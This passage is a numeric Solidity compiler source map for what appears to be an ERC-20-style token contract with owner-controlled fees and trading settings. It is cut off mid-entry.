;8067:6:0;;-1:-1:-1;;;;;8067:6:0;7994:87;;2750:104;;;;;;;;;;;;;:::i;19715:112::-;;;;;;;;;;-1:-1:-1;19715:112:0;;;;;:::i;:::-;;:::i;10874:410::-;;;;;;;;;;-1:-1:-1;10874:410:0;;;;;:::i;:::-;;:::i;8818:19::-;;;;;;;;;;-1:-1:-1;8818:19:0;;;;-1:-1:-1;;;;;8818:19:0;;;12008:165;;;;;;;;;;-1:-1:-1;12008:165:0;;;;;:::i;:::-;;:::i;14910:529::-;;;;;;;;;;-1:-1:-1;14910:529:0;;;;;:::i;:::-;;:::i;8850:41::-;;;;;;;;;;-1:-1:-1;8850:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3452:201;;;;;;;;;;-1:-1:-1;3452:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;3618:18:0;;;3586:7;3618:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3452:201;9569:35;;;;;;;;;;-1:-1:-1;9569:35:0;;;;;;;;;;;;;4656:25:1;;;4712:2;4697:18;;4690:34;;;;4629:18;9569:35:0;4482:248:1;9528:34:0;;;;;;;;;;-1:-1:-1;9528:34:0;;;;;;;;;10675:191;;;;;;;;;;-1:-1:-1;10675:191:0;;;;;:::i;:::-;;:::i;8500:192::-;;;;;;;;;;-1:-1:-1;8500:192:0;;;;;:::i;:::-;;:::i;18745:::-;;;;;;;;;;-1:-1:-1;18745:192:0;;;;;:::i;:::-;;:::i;8790:21::-;;;;;;;;;;-1:-1:-1;8790:21:0;;;;-1:-1:-1;;;;;8790:21:0;;;2636:100;2690:13;2723:5;2716:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2636:100;:::o;10506:161::-;10581:4;10598:39;331:10;10621:7;10630:6;10598:8;:39::i;:::-;-1:-1:-1;10655:4:0;10506:161;;;;;:::o;11552:448::-;11684:4;11701:36;11711:6;11719:9;11730:6;11701:9;:36::i;:::-;-1:-1:-1;;;;;11777:19:0;;11750:24;11777:19;;;:11;:19;;;;;;;;331:10;11777:33;;;;;;;;11829:26;;;;11821:79;;;;-1:-1:-1;;;11821:79:0;;5545:2:1;11821:79:0;;;5527:21:1;5584:2;5564:18;;;5557:30;5623:34;5603:18;;;5596:62;-1:-1:-1;;;5674:18:1;;;5667:38;5722:19;;11821:79:0;;;;;;;;;11911:57;11920:6;331:10;11942:25;11961:6;11942:16;:25;:::i;:::-;11911:8;:57::i;:::-;-1:-1:-1;11988:4:0;;11552:448;-1:-1:-1;;;;11552:448:0:o;18945:196::-;8067:6;;-1:-1:-1;;;;;8067:6:0;331:10;8129:23;8121:68;;;;-1:-1:-1;;;8121:68:0;;;;;;;:::i;:::-;19036:9:::1;19031:103;19055:8;:15;19051:1;:19;19031:103;;;19117:5;19092:9;:22;19102:8;19111:1;19102:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;19092:22:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;19092:22:0;:30;;-1:-1:-1;;19092:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;19072:3;::::1;::::0;::::1;:::i;:::-;;;;19031:103;;;;18945:196:::0;:::o;11296:248::-;331:10;11412:4;11466:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;11466:34:0;;;;;;;;;;11412:4;;11434:80;;11457:7;;11466:47;;11503:10;;11466:47;:::i;19978:177::-;8067:6;;-1:-1:-1;;;;;8067:6:0;331:10;8129:23;8121:68;;;;-1:-1:-1;;;8121:68:0;;;;;;;:::i;:::-;20060:14:::1;::::0;;;::::1;;;20059:15;20051:65;;;::::0;-1:-1:-1;;;20051:65:0;;6982:2:1;20051:65:0::1;::::0;::::1;6964:21:1::0;7021:2;7001:18;;;6994:30;7060:34;7040:18;;;7033:62;-1:-1:-1;;;7111:18:1;;;7104:35;7156:19;;20051:65:0::1;6780:401:1::0;20051:65:0::1;20127:8;:20:::0;19978:177::o;19153:::-;8067:6;;-1:-1:-1;;;;;8067:6:0;331:10;8129:23;8121:68;;;;-1:-1:-1;;;8121:68:0;;;;;;;:::i;:::-;19308:14:::1;2951:2:::0;19308::::1;:14;:::i;:::-;19295:27;::::0;:10;:27:::1;:::i;:::-;19269:23;:53:::0;-1:-1:-1;19153:177:0:o;18287:222::-;8067:6;;-1:-1:-1;;;;;8067:6:0;331:10;8129:23;8121:68;;;;-1:-1:-1;;;8121:68:0;;;;;;;:::i;:::-;18349:14:::1;::::0;;;::::1;;;18348:15;18340:54;;;::::0;-1:-1:-1;;;18340:54:0;;8944:2:1;18340:54:0::1;::::0;::::1;8926:21:1::0;8983:2;8963:18;;;8956:30;9022:28;9002:18;;;8995:56;9068:18;;18340:54:0::1;8742:350:1::0;18340:54:0::1;18405:14;:21:::0;;-1:-1:-1;;18437:25:0;;;;;18489:12:::1;18473:13;:28:::0;18287:222::o;18517:104::-;8067:6;;-1:-1:-1;;;;;8067:6:0;331:10;8129:23;8121:68;;;;-1:-1:-1;;;8121:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18587:19:0::1;;::::0;;;:9:::1;:19;::::0;;;;:26;;-1:-1:-1;;18587:26:0::1;18609:4;18587:26;::::0;;18517:104::o;17922:357::-;8067:6;;-1:-1:-1;;;;;8067:6:0;331:10;8129:23;8121:68;;;;-1:-1:-1;;;8121:68:0;;;;;;;:::i;:::-;17998:6:::1;;;;;;;;;-1:-1:-1::0;;;;;17998:6:0::1;-1:-1:-1::0;;;;;17998:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;17989:37:0::1;;18035:4;18042:6;;;;;;;;;-1:-1:-1::0;;;;;18042:6:0::1;-1:-1:-1::0;;;;;18042:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17989:67;::::0;-1:-1:-1;;;;;;17989:67:0::1;::::0;;;;;;-1:-1:-1;;;;;9583:15:1;;;17989:67:0::1;::::0;::::1;9565:34:1::0;9635:15;;9615:18;;;9608:43;9500:18;;17989:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17982:4;:74:::0;;-1:-1:-1;;;;;17982:74:0;;::::1;-1:-1:-1::0;;;;;;17982:74:0;;::::1;;::::0;;18067:6:::1;::::0;::::1;:22;18097:9;18130:4;18150:24;18130:4:::0;-1:-1:-1;;;;;3190:18:0;3163:7;3190:18;;;;;;;;;;;;3089:127;18150:24:::1;18189:1;18206::::0;18223:7:::1;8067:6:::0;;-1:-1:-1;;;;;8067:6:0;;7994:87;18223:7:::1;18245:15;18067:204;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;17922:357::o:0;8217:94::-;8067:6;;-1:-1:-1;;;;;8067:6:0;331:10;8129:23;8121:68;;;;-1:-1:-1;;;8121:68:0;;;;;;;:::i;:::-;8282:21:::1;8300:1;8282:9;:21::i;:::-;8217:94::o:0;19338:109::-;8067:6;;-1:-1:-1;;;;;8067:6:0;331:10;8129:23;8121:68;;;;-1:-1:-1;;;8121:68:0;;;;;;;:::i;:::-;19425:14:::1;2951:2:::0;19425::::1;:14;:::i;:::-;19409:30;::::0;9019:11:::1;19409:30;:::i;:::-;19392:14;:47:::0;19338:109::o;19455:112::-;8067:6;;-1:-1:-1;;;;;8067:6:0;331:10;8129:23;8121:68;;;;-1:-1:-1;;;8121:68:0;;;;;;;:::i;:::-;19530:17:::1;:29:::0;;-1:-1:-1;;;;;;19530:29:0::1;-1:-1:-1::0;;;;;19530:29:0;;;::::1;::::0;;;::::1;::::0;;19455:112::o;18629:108::-;8067:6;;-1:-1:-1;;;;;8067:6:0;331:10;8129:23;8121:68;;;;-1:-1:-1;;;8121:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18702:19:0::1;18724:5;18702:19:::0;;;:9:::1;:19;::::0;;;;:27;;-1:-1:-1;;18702:27:0::1;::::0;;18629:108::o;19835:135::-;8067:6;;-1:-1:-1;;;;;8067:6:0;331:10;8129:23;8121:68;;;;-1:-1:-1;;;8121:68:0;;;;;;;:::i;:::-;19927:8:::1;-1:-1:-1::0;;;;;19920:25:0::1;;19946:7;8067:6:::0;;-1:-1:-1;;;;;8067:6:0;;7994:87;19946:7:::1;19920:42;::::0;-1:-1:-1;;;;;;19920:42:0::1;::::0;;;;;;-1:-1:-1;;;;;10777:32:1;;;19920:42:0::1;::::0;::::1;10759:51:1::0;10826:18;;;10819:34;;;10732:18;;19920:42:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;2750:104::-:0;2806:13;2839:7;2832:14;;;;;:::i;19715:112::-;8067:6;;-1:-1:-1;;;;;8067:6:0;331:10;8129:23;8121:68;;;;-1:-1:-1;;;8121:68:0;;;;;;;:::i;:::-;8067:6;;19783:36:::1;::::0;-1:-1:-1;;;;;8067:6:0;;;;19783:36;::::1;;;::::0;19809:9;;19783:36:::1;::::0;;;19809:9;8067:6;19783:36;::::1;;;;;;;;;;;;;::::0;::::1;;;;10874:410:::0;331:10;10995:4;11044:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;11044:34:0;;;;;;;;;;11097:35;;;;11089:85;;;;-1:-1:-1;;;11089:85:0;;11348:2:1;11089:85:0;;;11330:21:1;11387:2;11367:18;;;11360:30;11426:34;11406:18;;;11399:62;-1:-1:-1;;;11477:18:1;;;11470:35;11522:19;;11089:85:0;11146:401:1;11089:85:0;11185:67;331:10;11208:7;11217:34;11236:15;11217:16;:34;:::i;11185:67::-;-1:-1:-1;11272:4:0;;10874:410;-1:-1:-1;;;10874:410:0:o;12008:165::-;12086:4;12103:40;12113:10;12125:9;12136:6;12103:9;:40::i;14910:529::-;15005:16;;;15019:1;15005:16;;;;;;;;14981:21;;15005:16;;;;;;;;-1:-1:-1;;15042:6:0;;:13;;;-1:-1:-1;;;15042:13:0;;;;14981:40;;-1:-1:-1;;;;;;15042:6:0;;;;:11;;-1:-1:-1;15042:13:0;;;;;;;;;;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15032:4;15037:1;15032:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;15032:23:0;;;-1:-1:-1;;;;;15032:23:0;;;;;15084:4;15066;15071:1;15066:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;15066:23:0;;;-1:-1:-1;;;;;15066:23:0;;;;;15100:12;15122:4;15127:1;15122:7;;;;;;;;:::i;:::-;;;;;;;;;;;;15158:10;15148:21;;;;:9;:21;;;;;;;;15122:7;;-1:-1:-1;15148:21:0;;15143:289;;15186:6;;:186;;-1:-1:-1;;;15186:186:0;;-1:-1:-1;;;;;15186:6:0;;;;:57;;15251:6;;15186:186;;:6;;15298:4;;15321:2;;15342:15;;15186:186;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15143:289;;;15391:5;-1:-1:-1;;;;;15391:18:0;;15410:2;15414:4;15419:1;15414:7;;;;;;;;:::i;:::-;;;;;;;;;;;15391:39;;-1:-1:-1;;;;;;15391:39:0;;;;;;;-1:-1:-1;;;;;12791:15:1;;;15391:39:0;;;12773:34:1;12843:15;;12823:18;;;12816:43;12875:18;;;12868:34;;;12708:18;;15391:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;15143:289;14970:469;;14910:529;;:::o;10675:191::-;10748:4;10789;10805:31;10813:7;10789:4;10829:6;10805:7;:31::i;8500:192::-;8067:6;;-1:-1:-1;;;;;8067:6:0;331:10;8129:23;8121:68;;;;-1:-1:-1;;;8121:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8589:22:0;::::1;8581:73;;;::::0;-1:-1:-1;;;8581:73:0;;13115:2:1;8581:73:0::1;::::0;::::1;13097:21:1::0;13154:2;13134:18;;;13127:30;13193:34;13173:18;;;13166:62;-1:-1:-1;;;13244:18:1;;;13237:36;13290:19;;8581:73:0::1;12913:402:1::0;8581:73:0::1;8665:19;8675:8;8665:9;:19::i;:::-;8500:192:::0;:::o;18745:::-;8067:6;;-1:-1:-1;;;;;8067:6:0;331:10;8129:23;8121:68;;;;-1:-1:-1;;;8121:68:0;;;;;;;:::i;:::-;18833:9:::1;18828:102;18852:8;:15;18848:1;:19;18828:102;;;18914:4;18889:9;:22;18899:8;18908:1;18899:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;18889:22:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;18889:22:0;:29;;-1:-1:-1;;18889:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18869:3;::::1;::::0;::::1;:::i;:::-;;;;18828:102;;6019:380:::0;-1:-1:-1;;;;;6155:19:0;;6147:68;;;;-1:-1:-1;;;6147:68:0;;13522:2:1;6147:68:0;;;13504:21:1;13561:2;13541:18;;;13534:30;13600:34;13580:18;;;13573:62;-1:-1:-1;;;13651:18:1;;;13644:34;13695:19;;6147:68:0;13320:400:1;6147:68:0;-1:-1:-1;;;;;6234:21:0;;6226:68;;;;-1:-1:-1;;;6226:68:0;;13927:2:1;6226:68:0;;;13909:21:1;13966:2;13946:18;;;13939:30;14005:34;13985:18;;;13978:62;-1:-1:-1;;;14056:18:1;;;14049:32;14098:19;;6226:68:0;13725:398:1;6226:68:0;-1:-1:-1;;;;;6307:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6359:32;;1500:25:1;;;6359:32:0;;1473:18:1;6359:32:0;;;;;;;6019:380;;;:::o;15447:2467::-;15597:1;15588:6;:10;15580:64;;;;-1:-1:-1;;;15580:64:0;;14330:2:1;15580:64:0;;;14312:21:1;14369:2;14349:18;;;14342:30;14408:34;14388:18;;;14381:62;-1:-1:-1;;;14459:18:1;;;14452:39;14508:19;;15580:64:0;14128:405:1;15580:64:0;-1:-1:-1;;;;;15662:17:0;;;;;;:9;:17;;;;;;;;15661:18;:43;;;;-1:-1:-1;;;;;;15684:20:0;;;;;;:9;:20;;;;;;;;15683:21;15661:43;15657:122;;;15729:14;;;;;;;15721:46;;;;-1:-1:-1;;;15721:46:0;;14740:2:1;15721:46:0;;;14722:21:1;14779:2;14759:18;;;14752:30;-1:-1:-1;;;14798:18:1;;;14791:49;14857:18;;15721:46:0;14538:343:1;15721:46:0;15805:4;;-1:-1:-1;;;;;15795:14:0;;;15805:4;;15795:14;:39;;;;-1:-1:-1;;;;;;15814:20:0;;;;;;:9;:20;;;;;;;;15813:21;15795:39;:59;;;;-1:-1:-1;15839:15:0;;;;15838:16;15795:59;15791:215;;;15912:14;;15902:6;15879:20;15889:9;-1:-1:-1;;;;;3190:18:0;3163:7;3190:18;;;;;;;;;;;;3089:127;15879:20;:29;;;;:::i;:::-;:47;;15871:123;;;;-1:-1:-1;;;15871:123:0;;15088:2:1;15871:123:0;;;15070:21:1;;;15107:18;;;15100:30;15166:34;15146:18;;;15139:62;15218:18;;15871:123:0;14886:356:1;15871:123:0;16032:4;;-1:-1:-1;;;;;16022:14:0;;;16032:4;;16022:14;;;;:39;;-1:-1:-1;;;;;;16041:20:0;;;;;;:9;:20;;;;;;;;16040:21;16022:39;:61;;;;-1:-1:-1;;;;;;16066:17:0;;;;;;:9;:17;;;;;;;;16065:18;16022:61;:81;;;;-1:-1:-1;16088:15:0;;;;16087:16;16022:81;16018:302;;;16137:4;;-1:-1:-1;;;;;16124:17:0;;;16137:4;;16124:17;16120:189;;16203:14;;16193:6;16170:20;16180:9;-1:-1:-1;;;;;3190:18:0;3163:7;3190:18;;;;;;;;;;;;3089:127;16170:20;:29;;;;:::i;:::-;:47;;16162:131;;;;-1:-1:-1;;;16162:131:0;;15088:2:1;16162:131:0;;;15070:21:1;;;15107:18;;;15100:30;15166:34;15146:18;;;15139:62;15218:18;;16162:131:0;14886:356:1;16162:131:0;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;16462:17:0;;16368:15;16462:17;;;:9;:17;;;;;;16368:15;;;;;;16462:17;;16461:18;:43;;;;-1:-1:-1;;;;;;16484:20:0;;;;;;:9;:20;;;;;;;;16483:21;16461:43;:86;;;;;16539:8;;16523:13;;:24;;;;:::i;:::-;16508:12;:39;16461:86;16635:15;;16441:106;;-1:-1:-1;16635:15:0;;;:36;;-1:-1:-1;;;;;;16654:17:0;;;;;;:9;:17;;;;;;;;16635:36;:60;;;-1:-1:-1;;;;;;16675:20:0;;;;;;:9;:20;;;;;;;;16635:60;16631:652;;;16716:1;16710:7;;16631:652;;;16775:4;;-1:-1:-1;;;;;16762:17:0;;;16775:4;;16762:17;:34;;;;;16784:12;16783:13;16762:34;16758:525;;;16878:8;:18;16840;;:56;;16878:18;16840:56;:::i;:::-;16943:23;;;;;;;;;16958:8;16943:23;;;;;;;;;;-1:-1:-1;16813:83:0;-1:-1:-1;16813:83:0;;-1:-1:-1;16758:525:0;;;16989:12;16984:299;;17082:7;:17;17045;;:54;;17082:17;17045:54;:::i;:::-;17146:22;;;;;;;;;17161:7;17146:22;;;;;;;;;;-1:-1:-1;17018:81:0;-1:-1:-1;17018:81:0;;-1:-1:-1;16984:299:0;;;17190:12;17186:97;;;17229:9;;;-1:-1:-1;17229:9:0;;-1:-1:-1;17186:97:0;17321:3;17302:15;17311:6;17302;:15;:::i;:::-;17301:23;;;;:::i;:::-;17439:18;;17295:29;;-1:-1:-1;17439:18:0;;;;;:36;;;;-1:-1:-1;17471:4:0;;-1:-1:-1;;;;;17461:14:0;;;17471:4;;17461:14;;17439:36;:58;;;;-1:-1:-1;;;;;;17480:17:0;;;;;;:9;:17;;;;;;;;17479:18;17439:58;:83;;;;-1:-1:-1;;;;;;17502:20:0;;;;;;:9;:20;;;;;;;;17501:21;17439:83;17435:123;;;17524:34;17536:7;17545:12;17524:11;:34::i;:::-;17600:48;17616:6;17624:9;17635:12;17644:3;17635:6;:12;:::i;:::-;17600:15;:48::i;:::-;17663:7;;17659:248;;17736:11;;17732:164;;17768:17;17809:3;17789:16;17798:7;17789:6;:16;:::i;:::-;17788:24;;;;:::i;:::-;17768:44;;17831:49;17847:6;17863:4;17870:9;17831:15;:49::i;:::-;17749:147;17732:164;15569:2345;;;;;15447:2467;;;:::o;8319:173::-;8394:6;;;-1:-1:-1;;;;;8411:17:0;;;-1:-1:-1;;;;;;8411:17:0;;;;;;;8444:40;;8394:6;;;8411:17;8394:6;;8444:40;;8375:16;;8444:40;8364:128;8319:173;:::o;6407:271::-;-1:-1:-1;;;;;6514:19:0;;6506:28;;;;;;-1:-1:-1;;;;;6553:21:0;;6545:30;;;;;12181:1679;9650:15;;;;9645:125;;9682:15;:22;;-1:-1:-1;;9682:22:0;9700:4;9682:22;;;12269:49;;12300:7:::1;12269:49;12374:4;12330:23;3190:18:::0;;;;;;;;;;;;12422:17:::1;::::0;-1:-1:-1;;;;;12422:17:0::1;3190:18:::0;;;;;12474:23:::1;::::0;12455:42;::::1;12451:1402;;12544:1;12518:23;;:27;12514:109;;;12584:23;;12566:41;;12514:109;12694:19;12716:11;:7:::0;12726:1:::1;12716:11;:::i;:::-;12694:33;;12742:32;12836:11;12796:9;:19;;;12778:15;:37;;;;:::i;:::-;12777:70;;;;:::i;:::-;12742:105;;12864:12;12909:23;;12895:10;:37;12891:153;;12998:7;:29;;13026:1;12998:29;;;13008:15;12998:29;12980:14;;:48;;;;:::i;:::-;12953:75;;12891:153;13058:14;13075:42;13093:24:::0;13075:15;:42:::1;:::i;:::-;13058:59:::0;-1:-1:-1;13159:21:0::1;13197:24;13058:59:::0;13197:16:::1;:24::i;:::-;13238:20;13261:38;13285:14:::0;13261:21:::1;:38;:::i;:::-;13238:61;;13314:19;13366:9;:19;;;13352:11;:33;;;;:::i;:::-;13336:50;::::0;:12;:50:::1;:::i;:::-;13314:72;;13401:29;13447:9;:19;;;13433:11;:33;;;;:::i;:::-;13401:65:::0;-1:-1:-1;13487:25:0;;13483:161:::1;;13567:61;13580:24;13606:21;13567:12;:61::i;:::-;13701:19:::0;;13660:20:::1;::::0;13683:15:::1;:11:::0;13697:1:::1;13683:15;:::i;:::-;:37;;;;:::i;:::-;13660:60:::0;-1:-1:-1;13739:16:0;;13735:107:::1;;13784:17;::::0;13776:50:::1;::::0;-1:-1:-1;;;;;13784:17:0::1;13813:12:::0;13776:36:::1;:50::i;:::-;12499:1354;;;;;;;;;12451:1402;12261:1599;;9719:1;9735:15:::0;:23;;-1:-1:-1;;9735:23:0;;;12181:1679;;:::o;5004:638::-;-1:-1:-1;;;;;5144:20:0;;5136:70;;;;-1:-1:-1;;;5136:70:0;;15671:2:1;5136:70:0;;;15653:21:1;15710:2;15690:18;;;15683:30;15749:34;15729:18;;;15722:62;-1:-1:-1;;;15800:18:1;;;15793:35;15845:19;;5136:70:0;15469:401:1;5136:70:0;-1:-1:-1;;;;;5225:23:0;;5217:71;;;;-1:-1:-1;;;5217:71:0;;16077:2:1;5217:71:0;;;16059:21:1;16116:2;16096:18;;;16089:30;16155:34;16135:18;;;16128:62;-1:-1:-1;;;16206:18:1;;;16199:33;16249:19;;5217:71:0;15875:399:1;5217:71:0;-1:-1:-1;;;;;5385:17:0;;5361:21;5385:17;;;;;;;;;;;5421:23;;;;5413:74;;;;-1:-1:-1;;;5413:74:0;;16481:2:1;5413:74:0;;;16463:21:1;16520:2;16500:18;;;16493:30;16559:34;16539:18;;;16532:62;-1:-1:-1;;;16610:18:1;;;16603:36;16656:19;;5413:74:0;16279:402:1;5413:74:0;5518:22;5534:6;5518:13;:22;:::i;:::-;-1:-1:-1;;;;;5498:17:0;;;:9;:17;;;;;;;;;;;:42;;;;5551:20;;;;;;;;:30;;5575:6;;5498:9;5551:30;;5575:6;;5551:30;:::i;:::-;;;;;;;;5616:9;-1:-1:-1;;;;;5599:35:0;5608:6;-1:-1:-1;;;;;5599:35:0;;5627:6;5599:35;;;;1500:25:1;;1488:2;1473:18;;1354:177;5599:35:0;;;;;;;;5125:517;5004:638;;;:::o;14376:526::-;14518:16;;;14532:1;14518:16;;;;;;;;14494:21;;14518:16;;;;;;;;;;-1:-1:-1;14518:16:0;14494:40;;14563:4;14545;14550:1;14545:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14545:23:0;;;:7;;;;;;;;;;:23;;;;14589:6;;:13;;;-1:-1:-1;;;14589:13:0;;;;:6;;;;;:11;;:13;;;;;14545:7;;14589:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14579:4;14584:1;14579:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14579:23:0;;;:7;;;;;;;;;:23;14647:6;;14615:53;;14632:4;;14647:6;14656:11;14615:8;:53::i;:::-;14707:6;;:187;;-1:-1:-1;;;14707:187:0;;-1:-1:-1;;;;;14707:6:0;;;;:57;;:187;;14779:11;;14707:6;;14821:4;;14848;;14868:15;;14707:187;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14431:471;14376:526;:::o;13868:500::-;14048:6;;14016:53;;14033:4;;-1:-1:-1;;;;;14048:6:0;14057:11;14016:8;:53::i;:::-;14112:6;;:248;;-1:-1:-1;;;14112:248:0;;-1:-1:-1;;;;;14112:6:0;;;;:22;;14143:9;;14112:248;;14177:4;;14197:11;;14112:6;;;;8935:42;;14334:15;;14112:248;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;622:319::-;737:6;712:21;:31;;704:73;;;;-1:-1:-1;;;704:73:0;;17475:2:1;704:73:0;;;17457:21:1;17514:2;17494:18;;;17487:30;17553:31;17533:18;;;17526:59;17602:18;;704:73:0;17273:353:1;704:73:0;791:12;809:9;-1:-1:-1;;;;;809:14:0;832:6;809:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;790:54;;;863:7;855:78;;;;-1:-1:-1;;;855:78:0;;18043:2:1;855:78:0;;;18025:21:1;18082:2;18062:18;;;18055:30;18121:34;18101:18;;;18094:62;18192:28;18172:18;;;18165:56;18238:19;;855:78:0;17841:422:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;1997:127::-;2058:10;2053:3;2049:20;2046:1;2039:31;2089:4;2086:1;2079:15;2113:4;2110:1;2103:15;2129:1121;2213:6;2244:2;2287;2275:9;2266:7;2262:23;2258:32;2255:52;;;2303:1;2300;2293:12;2255:52;2343:9;2330:23;2372:18;2413:2;2405:6;2402:14;2399:34;;;2429:1;2426;2419:12;2399:34;2467:6;2456:9;2452:22;2442:32;;2512:7;2505:4;2501:2;2497:13;2493:27;2483:55;;2534:1;2531;2524:12;2483:55;2570:2;2557:16;2592:2;2588;2585:10;2582:36;;;2598:18;;:::i;:::-;2644:2;2641:1;2637:10;2676:2;2670:9;2739:2;2735:7;2730:2;2726;2722:11;2718:25;2710:6;2706:38;2794:6;2782:10;2779:22;2774:2;2762:10;2759:18;2756:46;2753:72;;;2805:18;;:::i;:::-;2841:2;2834:22;2891:18;;;2925:15;;;;-1:-1:-1;2967:11:1;;;2963:20;;;2995:19;;;2992:39;;;3027:1;3024;3017:12;2992:39;3051:11;;;;3071:148;3087:6;3082:3;3079:15;3071:148;;;3153:23;3172:3;3153:23;:::i;:::-;3141:36;;3104:12;;;;3197;;;;3071:148;;;3238:6;2129:1121;-1:-1:-1;;;;;;;;2129:1121:1:o;3444:180::-;3503:6;3556:2;3544:9;3535:7;3531:23;3527:32;3524:52;;;3572:1;3569;3562:12;3524:52;-1:-1:-1;3595:23:1;;3444:180;-1:-1:-1;3444:180:1:o;3629:247::-;3688:6;3741:2;3729:9;3720:7;3716:23;3712:32;3709:52;;;3757:1;3754;3747:12;3709:52;3796:9;3783:23;3815:31;3840:5;3815:31;:::i;:::-;3865:5;3629:247;-1:-1:-1;;;3629:247:1:o;4089:388::-;4157:6;4165;4218:2;4206:9;4197:7;4193:23;4189:32;4186:52;;;4234:1;4231;4224:12;4186:52;4273:9;4260:23;4292:31;4317:5;4292:31;:::i;:::-;4342:5;-1:-1:-1;4399:2:1;4384:18;;4371:32;4412:33;4371:32;4412:33;:::i;:::-;4464:7;4454:17;;;4089:388;;;;;:::o;4958:380::-;5037:1;5033:12;;;;5080;;;5101:61;;5155:4;5147:6;5143:17;5133:27;;5101:61;5208:2;5200:6;5197:14;5177:18;5174:38;5171:161;;5254:10;5249:3;5245:20;5242:1;5235:31;5289:4;5286:1;5279:15;5317:4;5314:1;5307:15;5171:161;;4958:380;;;:::o;5752:127::-;5813:10;5808:3;5804:20;5801:1;5794:31;5844:4;5841:1;5834:15;5868:4;5865:1;5858:15;5884:128;5951:9;;;5972:11;;;5969:37;;;5986:18;;:::i;6017:356::-;6219:2;6201:21;;;6238:18;;;6231:30;6297:34;6292:2;6277:18;;6270:62;6364:2;6349:18;;6017:356::o;6378:127::-;6439:10;6434:3;6430:20;6427:1;6420:31;6470:4;6467:1;6460:15;6494:4;6491:1;6484:15;6510:135;6549:3;6570:17;;;6567:43;;6590:18;;:::i;:::-;-1:-1:-1;6637:1:1;6626:13;;6510:135::o;6650:125::-;6715:9;;;6736:10;;;6733:36;;;6749:18;;:::i;7186:422::-;7275:1;7318:5;7275:1;7332:270;7353:7;7343:8;7340:21;7332:270;;;7412:4;7408:1;7404:6;7400:17;7394:4;7391:27;7388:53;;;7421:18;;:::i;:::-;7471:7;7461:8;7457:22;7454:55;;;7491:16;;;;7454:55;7570:22;;;;7530:15;;;;7332:270;;;7336:3;7186:422;;;;;:::o;7613:806::-;7662:5;7692:8;7682:80;;-1:-1:-1;7733:1:1;7747:5;;7682:80;7781:4;7771:76;;-1:-1:-1;7818:1:1;7832:5;;7771:76;7863:4;7881:1;7876:59;;;;7949:1;7944:130;;;;7856:218;;7876:59;7906:1;7897:10;;7920:5;;;7944:130;7981:3;7971:8;7968